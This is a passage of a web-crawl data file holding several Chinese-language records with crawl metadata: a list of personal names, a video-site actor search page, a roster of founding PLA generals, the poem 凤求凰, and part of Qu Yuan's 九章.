虞钧可 虞席 虞稀 虞西 虞乾 虞潜 虞多 虞朋 虞少敏 虞况 虞啸 虞萧 虞锦凡 虞进 虞可敬 虞雯雯 虞子雯 虞子洛 虞子惠 虞耔恒 虞籽恒 虞洄子 虞汇子 虞荟子 虞惠子 虞蕙子 虞福兰 虞明标 虞蝶 虞佳彦 虞澄淼 虞雨泽 虞若维 虞紫启 虞芝淇 虞孜淇 虞姿淇 虞资淇 虞梦淇 虞诗其 虞诗淇 虞淇予 虞丞煦 虞抒卿 虞抒煦 虞思煦 虞诗煦 虞姚蘖 虞泶 虞千 虞荣 虞容 虞萁 虞蛟 虞玄 虞禾 虞浩之 虞慕钧 虞慕伦 虞顺行 虞潇凯 虞阿凯 虞上凡 虞锦上 虞锦胜 虞子湫 虞添钧 虞添骏 虞添乐 虞天乐 虞胜凡 虞胜天 虞学成 虞腾图 虞腾飞 虞瑞金 虞金津 虞津金 虞津 虞果然 虞莆凡 虞蒲凡 虞希 虞劳生 虞钦 虞臣涵 虞可行 虞可求 虞来学 虞则来 虞博士 虞博取 虞学渊 虞学源 虞谷凡 虞启凡 虞博凡 虞博学 虞蛟龙 虞初 虞索钦 虞摹伦 虞海琪 虞雯暄 虞晨毓 虞献潮 虞萧钧 虞皓钧 虞庭钧 虞飞扬 虞启钧 虞潇钧 虞马凡 虞田园 虞天元 虞舜日 虞尧天 虞及至 虞金智 虞君顶 虞永回 虞回 虞涌回 虞山臣 虞晟蛟 虞斐钧 虞为值 虞了然 虞笑然 虞天笑 虞笑轩 虞展轩 虞启添 虞众来 虞书凡 虞书考 虞君西 虞可钧 虞可 虞锦 虞谷 虞佳鸣 虞琪兴 虞敏棋 虞忻 虞子栩 虞承诺 虞呈诺 虞丞诺 虞以沫 虞亮贵 虞忠桦 虞忠铧 虞忠华 虞鸿一 虞永琰 虞翰明 虞瀚明 虞子聃 虞翰墨 虞伟尧 虞虎龙 虞力瑞 虞子洋 虞恬静 虞瑜彤 虞昕瑜 虞钧凡 虞钧川 虞钧轩 虞小龙 虞凡钧 虞凡莆 虞畅 虞书畅 虞沁瑜 虞伊瑜 虞梦笔 虞真 虞良才 虞美云 虞四海 虞搞活 虞声杨 虞子荫 虞荫子 虞洇子 虞洇紫 虞水 虞音紫 虞游滋 虞潆滋 虞音子 虞英子 虞增龙 虞行原 虞弈航 虞毅涵 虞毅帆 虞翌涵 虞羿函 虞佳涵 虞逸涵 虞逸函 虞奕函 虞弈函 虞弈涵 虞佩函 虞佩航 虞翌函 虞羿航 虞佩笛 虞桂青 虞弘康 虞烨 虞旭舫 虞旭涵 虞旭函 虞馨淇 虞馨琦 虞心逸 虞翊弘 虞佳浩 虞可敏 虞逸苗 虞意苗 虞心愉 虞文曲 虞诗雨 虞诗宇 虞珂涵 虞昕仪 虞茗帆 虞弘楦 虞心仪 虞诗画 虞闳帆 虞诗哲 虞诗仪 虞行尧 虞幸航 虞洵桓 虞洵松 虞洵凡 虞洵帆 虞洵捷 虞洵 虞福平 虞夏 虞思然 虞思楠 虞一帆 虞雅钧 虞钧雅 虞洪一 虞灵华 虞灵贵 虞洁雯 虞沣 虞新石 虞思仪 虞昕灵","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/scw9.cn\/show_Q11.aspx","date":"2020-07-12T12:55:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657138718.61\/warc\/CC-MAIN-20200712113546-20200712143546-00080.warc.gz","language":"lzh","language_score":0.9261052012,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.9261052012443542, \"cmn_Hani_score\": 0.04859137907624245, \"yue_Hani_score\": 0.020952869206666946}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.925,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E6%9D%8E%E5%96%84%E6%81%86------------.html","date":"2020-09-26T13:51:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244231.61\/warc\/CC-MAIN-20200926134026-20200926164026-00432.warc.gz","language":"lzh","language_score":0.575846374,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5758463740348816, \"cmn_Hani_score\": 0.36862608790397644, \"nan_Hani_score\": 0.04379091039299965, \"yue_Hani_score\": 0.010179465636610985}","num_words":117,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.677,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n朱 德 彭德怀 林 彪 贺 龙 陈 毅 罗荣桓\n粟 裕 黄克诚 谭 政 萧劲光 王树声 陈 赓 罗瑞卿 许光达 徐海东 张云逸\n萧 克 李 达 张宗逊 李克农 王 震 邓 华 彭绍辉 张爱萍 杨成武 韩先楚 李 涛 傅秋涛 王 平 吕正操 傅 钟 萧 华 甘泗淇 赖传珠 洪学智 周士第 郭天民 周纯全 杨至诚 陈再道 陈奇涵 王宏坤 刘亚楼 刘 震 陈锡联 陈士榘 陈伯钧 锺期光 宋时轮 朱良才 董其武 唐 亮 叶 飞 王新亭 黄永胜 李天佑 陈明仁 贺炳炎 阎红彦 谢富治 陶峙岳 乌兰夫 周 桓 杨 勇 李志民 赵尔陆 王建安 李聚奎\n徐立清 肖向荣 张经武 张 震 刘志坚 阎揆要 钟赤兵 唐天际 谭希林 莫文骅 刘道生 陶 勇 吴法宪 成 钧 程世才 李天焕 廖汉生 郭化若 唐延杰 张南生 杜义德 王必成 王近山 万 毅 王 诤 孙 毅 朱 明 王宗槐 蔡顺礼 邱会作 张令彬 饶正锡 倪志亮 梁必业 李作鹏 赵启民 方 强 罗舜初 王秉璋 罗元发 聂风智 曹里怀 周赤萍 邱创成 匡裕民 向仲华 谭家述 李寿轩 崔田民 欧阳毅 冼恒汉 王恩茂 张国华 肖望东 丁秋生 赖 毅 旷任农 林维先 周贯五 刘先胜 刘培善 彭嘉庆 黄火星 刘兴元 文年生 詹才芳 梁兴初 吴克华 毕占云 陈正湘 彭明治 姚 哲 杜 平 甘渭汉 曾思玉 郑维山 聂鹤亭 王尚荣 苏 静 刘少文 刘西元 孔石泉 袁子钦 傅连璋 韩振纪 李 耀 邓逸凡 汤 平 陈庆先 刘 忠 孙继先 张 藩 徐斌洲 韦 杰 滕海清 庄 田 刘浩天 杨秀山 周希汉 顿星云 周仁杰 康志强 方正平 饶守坤 王辉球 常乾坤 曾国华 朱辉照 余立金 吴富善 黄志勇 胡奇才 周 彪 彭 林 刘昌毅 韩练成 张贤约 郭 鹏 刘金轩 张达志 赛福鼎 钟汉华 孔从周 范朝利 谭冠三 李成芳 陈 康 张才千 张翼翔 覃 健 鲍先志 皮定钧 周志坚 张祖谅 廖容标 刘 飞 梁从学 钱 钧 张仁初 饶子健 陈仁麒 杨国夫 晏福生 吴瑞林 杨梅生 田维扬 欧阳文 张池明 刘转连 孔庆德 谭甫仁 何德全 徐深吉 韩 伟 袁升平 王道邦 王紫峰 赵 榕 肖新槐 吴信泉 周玉成 曾泽生 温玉成 曾绍山 陈先瑞 旷伏兆 李雪三 谢有法 张天云 卢 胜 黄新庭 吴先恩 阿沛*阿旺晋美 朵噶*彭饶错杰\n解 方 陈 沂 童陆生 詹化雨 刘其人 张 瑞 彭富九 李 信 曹广化 魏传统 孙仪之 傅家选 喻缦云 姜齐贤 钱信忠 贾若喻 王光华 王永浚 曹丹辉 李钟奇 叶楚屏 王文轩 叶运高 李兆炳 黄 远 吴 涛 马文波 陈外欧 刘显宜 张松平 范子瑜 严 俊 戴正华 官乃泉 黄曹龙 阎捷三 殷希彭 曾育生 陈远波 黄新友 张平凯 吉 合 胡备文 钱 江 陈福初 陈铁君 王兰麟 洪 水 刘少卿 周 维 刘绍文 安 东 黄有凤 李 基 况玉纯 游胜华 王兆相 贺盛桂 王兴纲 车敏瞧 张逊之 何济林 潘世徵 罗亦经 徐光华 黎东汉 幸元林 周子祯 张文舟 何克希 徐文烈 戴润生 陶汉章 谢振华 谢立全 林 浩 刘居英 刘有龙 谢 良 雷绍康 罗若遐 方升普 刘永源 王绍南 袁 渊 谭知耕 余克勤 仲曦东 谭佑铭 张驾伍 周志刚 刘子云 沈启贤 吴嘉民 李汛山 吴华夺 李开湘 李 治 张书祥 高存信 周世忠 陈海涵 刘清明 方 正 刘 昂 李光辉 钟明彪 唐 凯 唐 铎 胡正平 陈金钰 郑大林 张崇文 胡定千 曹光琳 李 真 李 毅 郭 奇 张日清 李良汉 钟发宗 徐其孝 林 遵 胡华居 金忠藩 贺振新 段苏权 谷文善 薛少卿 漆远渥 王集成 李中权 何廷一 石忠汉 朱虚之 沙 克 黄炜华 杨焕民 吴林焕 何振亚 傅传作 王德贵 杨尚儒 刘锦平 李世安 粟在山 韦祖珍 裴志耕 刘 放 王平水 李 平 梁达三 陈 钦 谢 斌 高厚良 关盛志 李 丰 邓东哲 蔡 永 肖 前 方子翼 李长日韦 朱云谦 吴宗先 刘懋功 王云霖 周 彬 李庆柳 余 非 赵正洪 黄连秋 黄玉昆 张百春 李 勃 陈 浩 罗维道 刘福胜 余 明 李振声 罗野岗 陈 熙 安志敏 朱火华 刘鹤孔 王学清 曾 征 黄仁庭 黄玉庭 袁学凯 兴 中 方 槐 张雍耿 乔信明 谢锡玉 曾克林 易耀彩 郑国仲 张学思 王政柱 袁也烈 彭德清 赵一萍 张汉丞 马 龙 曾 生 段德彰 卢仁灿 桂绍彬 雷永通 张 雄 高志荣 马忠全 蔡长风 肖学林 黄忠诚 苏启胜 朱 军 刘中华 梅嘉生 何 辉 谢甫生 吴 西 魏天录 刘 义 黄忠学 丁世芳 王效明 傅继泽 张元培 齐 勇 邓龙翔 邱子明 宋景华 江勇为 胥治中 阙中一 邓兆祥 罗 斌 苏 进 陈锐霆 贾 陶 封永顺 张贻祥 涂锡道 管松涛 廖成美 王文介 朱 光 廖运周 颜东山 王振祥 罗 通 程世清 林 彬 邓家泰 宋庆生 王 胜 孙 三 李迎希 徐德操 赵东寰 唐哲明 唐健伯 廖述云 陈华堂 王智涛 谷景生 张西三 孙超群 林接彪 李赤然 潘寿才 刘秉彦 樊哲祥 蔡爱卿 黄径琛 张希才 曹传赞 李 贞 龙福才 刘 鹏 黎化南 孔令甫 何辉燕 闵学胜 张吉厚 朱绍田 袁 光 郭维城 徐 斌 陈 力 邓少东 查国桢 罗华生 吴 烈 李逸民 熊伯涛 方国华 邹国厚 盛治华 罗文坊 王明贵 杜国平 陈 波 梁玉振 刘辉山 张廷桢 蔡炳臣 陈伯禄 白寿康 郭炳坤 张希钦 曾 涤 苏 鳌 杨嘉瑞 程悦长 夏耀堂 王再兴 左 齐 李 铨 郭宝珊 史可全 闵鸿友 孙 光 马尔果甫·伊斯卡果夫 买买提伊敏·伊敏诺夫 吴习智 徐国珍 朱声达 高朗亭 甘祖昌 罗 章 侯世奎 颜金生 张开基 祖农·太也甫夫 曹达诺夫·扎依尔 高维嵩 李建良 牛书申 钟生溢 孙润华 李书茂 熊 晃 李书全 曾光明 黄正清 慕生忠 李夫克 黄立清 鲁瑞林 金如柏 李文清 王启明 陈明义 查玉升 何维忠 郭林祥 杨尚高 胡荣贵 王贵德 石新安 范 明 王其梅 陈鹤桥 黎锡福 汪乃贵 熊 奎 何光宇 胥光义 张 和 吴荣正 肖新春 余述生 刘振国 卢南樵 孔骏彪 周长庚 周学义 涂则生 金绍山 张 忠 何德庆 崔建功 吴 忠 汪家道 李 觉 张培荣 金世柏 丁荣昌 鲁加汉 马琮璜 何以祥 段焕竞 邱 蔚 朱绍清 廖海光 刘 涌 曾如清 廖政国 黎有章 刘永生 李继开 陈美藻 张震东 常玉清 胡大荣 赵 俊 肖永银 张秀龙 熊应堂 张钅至 秀 詹大南 陈 宏 姚运良 李水清 周纯麟 谢胜坤 龙 潜 欧阳平 李世炎 刘文学 李耀文 汤光恢 谢云晖 王六生 何志远 张闯初 符确坚 何柱成 刘毓标 李景瑞 万振西 刘健挺 程业棠 谢 锐 宋 文 曾旭清 李 元 郭金林 王文模 李辉高 宋献章 严 光 童炎生 唐健如 贺光华 熊兆仁 周文在 黄朝天 王健青 陈士法 孙端夫 徐体山 邓仕俊 王诚汉 马 辉 陈 奇 傅绍甫 李 发 阮贤榜 匡 斌 尤太忠 王 直 秦化龙 杨汉林 资 凤 罗湘涛 喻新华 张文碧 李曼村 陈德先 汪少川 彭胜标 罗应怀 熊 飞 彭显伦 张潮夫 王若杰 王义勋 郭卓辛 邱相田 龙飞虎 朱耀华 陈忠梅 李国厚 余光茂 谭友夫 张新华 张宗胜 熊 挺 张春森 曹思明 周明国 何敬之 姚醒吾 刘贤权 龙书金 韩东山 袁克服 潘振武 贺东生 张广才 钟 伟 吴自立 肖元礼 邓克明 卢绍武 叶长庚 刘子奇 李福泽 雷 震 马白山 黄一平 余成斌 覃士冕 张国传 周发田 江燮元 李化民 欧致富 魏 镇 刘新权 方国安 王全国 叶 明 谢镗忠 廖冠贤 李丙令 陈 德 陈发洪 王振乾 李俭珠 孙克骥 胡继成 杨树根 郭成柱 吴诚忠 王远芬 田厚仪 罗仁全 祝世凤 叶健民 李道之 姜茂生 向守志 覃国翰 赵兰田 王东保 陈文彪 彭龙飞 刘玉堂 张汝光 陈挽澜 黄荣海 李士才 胡登高 谭文帮 林忠照 钟文法 陈志彬 张太生 宋维轼 彭清云 方国南 兰 桥 魏洪亮 董洪国 傅春早 肖远久 何能彬 任昌辉 颜德明 杨大易 余品轩 陈宗坤 邱国光 汤 池 高体乾 齐丁根 曾敬烦 丁武选 程儒珍 郑效峰 邹善芳 汪洪清 刘兴隆 倪南山 卜万科 罗 云 黄胜明 江腾蛟 黄德魁 甘思河 潘 峰 傅崇碧 肖思明 叶青山 王奇才 龙道权 帅 荣 裴周玉 黄振棠 李人林 曾 美 石志东 孟庆山 杜文达 索立波 张世珍 成少甫 康健民 张正光 黄作珍 王之平 徐绍华 王耀南 于权伸 钟元辉 白志文 刘华香 赵文进 彭寿生 刘德海 林 伟 曾 威 刘 彬 方之中 马卫华 曾保堂 黄光霞 杨植亭 廷 懋 陈宜贵 钟炳昌 廖鼎琳 刘 昌 翁祥初 肖永正 王英高 范忠祥 蔡长元 钟辉琨 张英辉 郑三生 杨根生 曹玉清 曾宪池 卢 克 马泽迎 杨永松 苏 鲁 陶国清 韩卫民 杨世明 王才贵 孔 飞 李佐玉 王 谦 贺晋年 罗成德 唐子安 江拥辉 张开荆 贺 健 贺庆积 谭友林 吴 岱 邱先通 钟人仿 刘 何 邹 衍 张竭诚 邓 岳 谢正荣 徐国夫 江 文 刘亨云 宋承志 赵 杰 王良太 王力生 赵承金 伍瑞卿 龙开富 李资平 张济民 曾祥煌 袁佩爵 李伯秋 曹文彬 李少元 陈美福 张海棠 陈信忠 罗坤山 孙文采 苏焕清 黄思沛 叶荫庭 邱会魁 唐青山 罗桂华 王 屏 姚国民 黄惠良 李荆璞 王蕴瑞 黄文明 张明远 胡炳云 肖应棠 肖文玖 潘 焱 丁 盛 钟国楚 陈仿仁 陈云开 谢 明 李呈瑞 梁仁芥 赵冠英 赵章成 谭善和 徐国贤 杨俊生 吴泳湘 周长胜 肖全福 曾雍雅 宋玉琳 贺大增 李 震 吴保山 何运洪 李致远 谢福林 丁莱夫 丁先国 董永清 况开田 刘禄长 汪克明 王明坤 张树芝 张云龙 陈仁洪 李家益 赵国泰 吴瑞山 欧阳家祥 张万春 熊作坊 赖春风 蒋克诚 舒 行 廖鼎祥 范阳春 谢家祥 杨中行 张梓桢 彭 盛 严庆堤 吴融峰 李彬山 刘 春 余积德 官宗礼 严 政 陈茂辉 张秀川 任 荣 唐金龙 吴子杰 游好扬 赖光勋 李木生 徐其海 黎 光 贺吉祥 张步峰 樊学文 汪 易\n本文来源:中国开国元帅大将中将少将都有谁?","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.hongtai1188.com\/junshirenwu\/624.html","date":"2021-01-27T22:51:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704833804.93\/warc\/CC-MAIN-20210127214413-20210128004413-00367.warc.gz","language":"lzh","language_score":0.5040817261,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5040817260742188, \"cmn_Hani_score\": 0.40807026624679565, \"nan_Hani_score\": 0.07839170098304749}","num_words":1210,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.294,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.504,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:佚名 朝代:两汉\n其一:【琴曲出自王实甫《西厢记》】\n有一美人兮,见之不忘。一日不见兮,思之如狂。凤飞翱翔兮,四海求凰。无奈佳人兮,不在东墙。将琴代语兮,聊写衷肠。何日见许兮,慰我彷徨。愿言配德兮,携手相将。不得於飞兮,使我沦亡。\n其二:\n凤兮凤兮归故乡,遨游四海求其凰。时未遇兮无所将,何悟今兮升斯堂!有艳淑女在闺房,室迩人遐毒我肠。何缘交颈为鸳鸯,胡颉颃兮共翱翔!凰兮凰兮从我栖,得托孳尾永为妃。交情通意心和谐,中夜相从知者谁?双翼俱起翻高飞,无感我思使余悲。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/m.yuwenmi.com\/sc\/71946.html","date":"2021-03-07T20:37:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178378872.82\/warc\/CC-MAIN-20210307200746-20210307230746-00266.warc.gz","language":"lzh","language_score":0.5230622888,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5230622887611389, \"cmn_Hani_score\": 0.2547316551208496, \"nan_Hani_score\": 0.06269358098506927, \"jpn_Jpan_score\": 0.027425650507211685, \"yue_Hani_score\": 0.024089112877845764, \"und_Bamu_score\": 0.019077371805906296, \"wuu_Hani_score\": 0.015812477096915245, \"zxx_Latn_score\": 0.015072385780513287}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.392,"perplexity_score":500.0,"cluster_detection":1} +{"text":"下载百度汉语App\n名师好课免费看\n九章\n惜诵以致愍兮,发愤以抒情。所作忠而言之兮,指苍天以为正。令五帝使折中兮,戒六神与向服。俾山川以备御兮,命咎繇使听直。竭忠诚而事君兮,反离群而赘肬。忘儇媚以背众兮,待明君其知之。言与行其可迹兮,情与貌其不变。故相臣莫若君兮,所以证之不远。吾谊先君而后身兮,羌众人之所仇也。专惟君而无他兮,又众兆之所雠也。壹心而不豫兮,羌无可保也。疾亲君而无他兮,有招祸之道也。思君其莫我忠兮,忽忘身之贱贫。事君而不贰兮,迷不知宠之门。患何罪以遇罚兮,亦非余之所志也。行不群以巅越兮,又众兆之所咍也。纷逢尤以离谤兮,謇不可释也。情沉抑而不达兮,又蔽而莫之白也。心郁邑余侘傺兮,又莫察余之中情。固烦言不可结而诒兮,愿陈志而无路。退静默而莫余知兮,进号呼又莫吾闻。申侘傺之烦惑兮,中闷瞀之忳忳。昔余梦登天兮,魂中道而无杭。吾使厉神占之兮,曰有志极而无旁。终危独以离异兮,曰君可思而不可恃。故众口其铄金兮,初若是而逢殆。惩于羹者而吹齑兮,何不变此志也?欲释阶而登天兮,犹有曩之态也。众骇遽以离心兮,又何以为此伴也?同极而异路兮,又何以为此援也?晋申生之孝子兮,父信谗而不好。行婞直而不豫兮,鲧功用而不就。吾闻作忠以造怨兮,忽谓之过言。九折臂而成医兮,吾至今而知其信然。矰弋机而在上兮,罻罗张而在下。设张辟以娱君兮,愿侧身而无所。欲儃徊以干傺兮,恐重患而离尤。欲高飞而远集兮,君罔谓汝何之?欲横奔而失路兮,盖志坚而不忍。背膺牉以交痛兮,心郁结而纡轸。擣木兰以矫蕙兮,糳申椒以为粮。播江离与滋菊兮,愿春日以为糗芳。恐情质之不信兮,故重著以自明。矫兹媚以私处兮,愿曾思而远身。余幼好此奇服兮,年既老而不衰。带长铗之陆离兮,冠切云之崔嵬,被明月兮佩宝璐。世混浊而莫余知兮,吾方高驰而不顾。驾青虬兮骖白螭,吾与重华游兮瑶之圃。登昆仑兮食玉英,与天地兮同寿,与日月兮同光。哀南夷之莫吾知兮,旦余济乎江湘。乘鄂渚而反顾兮,欸秋冬之绪风。步余马兮山皋,邸余车兮方林。乘舲船余上沅兮,齐吴榜以击汰。船容与而不进兮,淹回水而疑滞。朝发枉渚兮,夕宿辰阳。苟余心之端直兮,虽僻远其何伤。入溆浦余儃徊兮,迷不知吾所如。深林杳以冥冥兮,猿狖之所居。山峻高以蔽日兮,下幽晦以多雨。霰雪纷其无垠兮,云霏霏而承宇。哀吾生之无乐兮,幽独处乎山中。吾不能变心而从俗兮,固将愁苦而终穷。接舆髡首兮,桑扈臝行。忠不必用兮,贤不必以。伍子逢殃兮,比干菹醢。与前世而皆然兮,吾又何怨乎今之人!余将董道而不豫兮,固将重昏而终身!乱曰:鸾鸟凤皇,日以远兮。燕雀乌鹊,巢堂坛兮。露申辛夷,死林薄兮。腥臊并御,芳不得薄兮。阴阳易位,时不当兮。怀信佗傺,忽乎吾将行兮!皇天之不纯命兮,何百姓之震愆?民离散而相失兮,方仲春而东迁。去故乡而就远兮,遵江夏以流亡。出国门而轸怀兮,甲之鼂吾以行。发郢都而去闾兮,怊荒忽其焉极?楫齐扬以容与兮,哀见君而不再得。望长楸而太息兮,涕淫淫其若霰。过夏首而西浮兮,顾龙门而不见。心婵媛而伤怀兮,眇不知其所蹠。顺风波以从流兮,焉洋洋而为客。凌阳侯之汜滥兮,忽翱翔之焉薄。心絓结而不解兮,思蹇产而不释。将运舟而下浮兮,上洞庭而下江。去终古之所居兮,今逍遥而来东。羌灵魂之欲归兮,何须臾而忘反。背夏浦而西思兮,哀故都之日远。登大坟以远望兮,聊以舒吾忧心。哀州土之平乐兮,悲江介之遗风。当陵阳之焉至兮,淼南渡之焉如?曾不知夏之为丘兮,孰两东门之可芜?心不怡之长久兮,忧与愁其相接。惟郢路之辽远兮,江与夏之不可涉。忽若去不信,兮至今九年而不。惨郁郁而不通兮,蹇侘傺而含戚。外承欢之汋约兮,谌荏弱而难持。忠湛湛而愿进兮,妒被离而鄣之。尧舜之抗行兮,瞭杳杳而薄天。众谗人之嫉妒兮,被以不慈之伪名。憎愠惀之修美兮,好夫人之慷慨。众踥蹀而日进兮,美超远而逾迈。乱曰:曼余目以流观兮,冀一反之何时?鸟飞反故乡兮,狐死必首丘。信非吾罪而弃逐兮,何日夜而忘之?心郁郁之忧思兮,独永叹乎增伤。思蹇产之不释兮,曼遭夜之方长。悲秋风之动容兮,何回极之浮浮。数惟荪之多怒兮,伤余心之忧忧。愿摇起而横奔兮,览民尤以自镇。结微情以陈词兮,矫以遗夫美人。昔君与我诚言兮,曰黄昏以为期。羌中道而回畔兮,反既有此他志。憍吾以其美好兮,览余以其修姱。与余言而不信兮,盖为余而造怒。愿承閒而自察兮,心震悼而不敢。悲夷犹而冀进兮,心怛伤之憺憺。兹历情以陈辞兮,荪详聋而不闻。固切人之不媚兮,众果以我为患。初吾所陈之耿著兮,岂至今其庸亡?何独乐斯之謇謇兮?愿荪美之可光。望三五以为像兮,指彭咸以为仪。夫何极而不至兮,故远闻而难亏。善不由外来兮,名不可以虚作。孰无施而有报兮,孰不实而有获?少歌曰:与美人抽思兮,并日夜而无正。憍吾以其美好兮,敖朕辞而不听。倡曰:有鸟自南兮,来集汉北。好姱佳丽兮,牉独处此异域。惸茕独而不群兮,又无良媒在其侧。道卓远而日忘兮,愿自申而不得。望北山而流涕兮,临流水而太息。望孟夏之短夜兮,何晦明之若岁?惟郢路之辽远兮,魂一夕而九逝。曾不知路之曲直兮,南指月与列星。愿径逝而未得兮,魂识路之营营。何灵魂之信直兮,人之心不与吾心同!理弱而媒不通兮,尚不知余之从容。乱曰:长濑湍流,溯江潭兮。狂顾南行,聊以娱心兮。轸石崴嵬,蹇吾愿兮。超回志度,行隐进兮。低徊夷犹,宿北姑兮。烦冤瞀容,实沛徂兮。愁叹苦神,灵遥思兮。路远处幽,又无行媒兮。道思作颂,聊以自救兮。忧心不遂,斯言谁告兮。滔滔孟夏兮,草木莽莽。伤怀永哀兮,汩徂南土。眴兮杳杳,孔静幽默。郁结纡轸兮,离慜而长鞠。抚情效志兮,冤屈而自抑。刓方以为圜兮,常度未替。易初本迪兮,君子所鄙。章画志墨兮,前图未改。内厚质正兮,大人所盛。巧倕不斲兮,孰察其拨正。玄文处幽兮,矇瞍谓之不章;离娄微睇兮,瞽以为无明。变白以为黑兮,倒上以为下。凤皇在笯兮,鸡鹜翔舞。同糅玉石兮,一概而相量。夫惟党人之鄙固兮,羌不知余之所臧。任重载盛兮,陷滞而不济。怀瑾握瑜兮,穷不知所示。邑犬之群吠兮,吠所怪也。非俊疑杰兮,固庸态也。文质疏内兮,众不知余之异采。材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰。重华不可遌兮,孰知余之从容!古固有不并兮,岂知其何故也?汤禹久远兮,邈而不可慕也?惩违改忿兮,抑心而自强。离慜而不迁兮,愿志之有像。进路北次兮,日昧昧其将暮。舒忧娱哀兮,限之以大故。乱曰:浩浩沅湘,分流汩兮。修路幽蔽,道远忽兮。怀质抱情,独无匹兮。伯乐既没,骥焉程兮。民生禀命,各有所错兮。定心广志,余何所畏惧兮?曾伤爰哀,永叹喟兮。世浑浊莫吾知,人心不可谓兮。知死不可让,愿勿爱兮。明告君子,吾将以为类兮。【思美人】思美人兮,揽涕而竚眙。媒绝路阻兮,言不可结而诒。蹇蹇之烦冤兮,陷滞而不发。申旦以舒中情兮,志沉菀而莫达。愿寄言于浮云兮,遇丰隆而不将。因归鸟而致辞兮,羌迅高而难当。高辛之灵盛兮,遭玄鸟而致诒。欲变节以从俗兮,媿易初而屈志。独历年而离愍兮,羌凭心犹未化。宁隐闵而寿考兮,何变易之可为!知前辙之不遂兮,未改此度。车既覆而马颠兮,蹇独怀此异路。勒骐骥而更驾兮,造父为我操之,迁逡次而勿驱兮,聊假日以须是时。指嶓冢之西隈兮,与纁黄以为期。开春发岁兮,白日出之悠悠。吾将荡志而愉乐兮,遵江夏以娱忧。揽大薄之芳茝兮,搴长洲之宿莽。惜吾不及古人兮,吾谁与玩此芳草?解萹薄与杂菜兮,备以为交佩。佩缤纷以缭转兮,遂萎绝而离异。吾且儃徊以娱忧兮,观南人之变态。窃快在中心兮,扬厥凭而不竢。芳与泽其杂糅兮,羌芳华自中出。纷郁郁其远蒸兮,满内而外扬。情与质信可保兮,羌居蔽而闻章。令薜荔以为理兮,惮举趾而缘木。因芙蓉而为媒兮,惮褰裳而濡足。登高吾不说兮,入下吾不能。固朕形之不服兮,然容与而狐疑。广遂前画兮,未改此度也。命则处幽吾将罢兮,愿及白日之未暮也。独茕茕而南行兮,思彭咸之故也。【惜往日】惜往日之曾信兮,受命诏以昭时。奉先功以照下兮,明法度之嫌疑。国富强而法立兮,属贞臣而日竢。秘密事之载心兮,虽过失犹弗治。心纯庞而不泄兮,遭谗人而嫉之。君含怒而待臣兮,不清澈其然否。蔽晦君之聪明兮,虚惑误又以欺。弗参验以考实兮,远迁臣而弗思。信谗谀之浑浊兮,盛气志而过之。何贞臣之无罪兮,被离谤而见尤。惭光景之诚信兮,身幽隐而备之。临沅湘之玄渊兮,遂自忍而沉流。卒没身而绝名兮,惜壅君之不昭。君无度而弗察兮,使芳草为薮幽。焉舒情而抽信兮,恬死亡而不聊。独障壅而弊隐兮,使贞臣为无由。闻百里之为虏兮,伊尹烹于庖厨。吕望屠于朝歌兮,宁戚歌而饭牛。不逢汤武与